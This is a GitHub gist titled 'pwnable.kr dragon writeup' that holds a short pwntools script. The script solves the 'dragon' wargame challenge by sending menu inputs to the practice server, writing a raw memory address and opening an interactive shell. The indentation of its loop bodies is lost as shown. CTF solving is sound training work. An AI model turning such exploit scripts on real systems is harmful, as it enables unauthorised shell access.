from pwn import *
sh = remote('pwnable.kr', 9004)
sh.recv(10000)
sh.sendline('2')
sh.recv(10000)
for _ in range(3):
sh.sendline('1')
sh.recv(10000)
for _ in range(4):
sh.sendline('3')
sh.recv(10000)
sh.sendline('3')
sh.recv(10000)
sh.sendline('2')
sh.recv(10000)
sh.sendline('\xbf\x8d\x04\x08')
sh.recv(10000)
sh.interactive()
Created
December 12, 2016 05:52
-
-
Save parksjin01/20ad89df31c34acb14036af837208d7e to your computer and use it in GitHub Desktop.
pwnable.kr dragon writeup
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment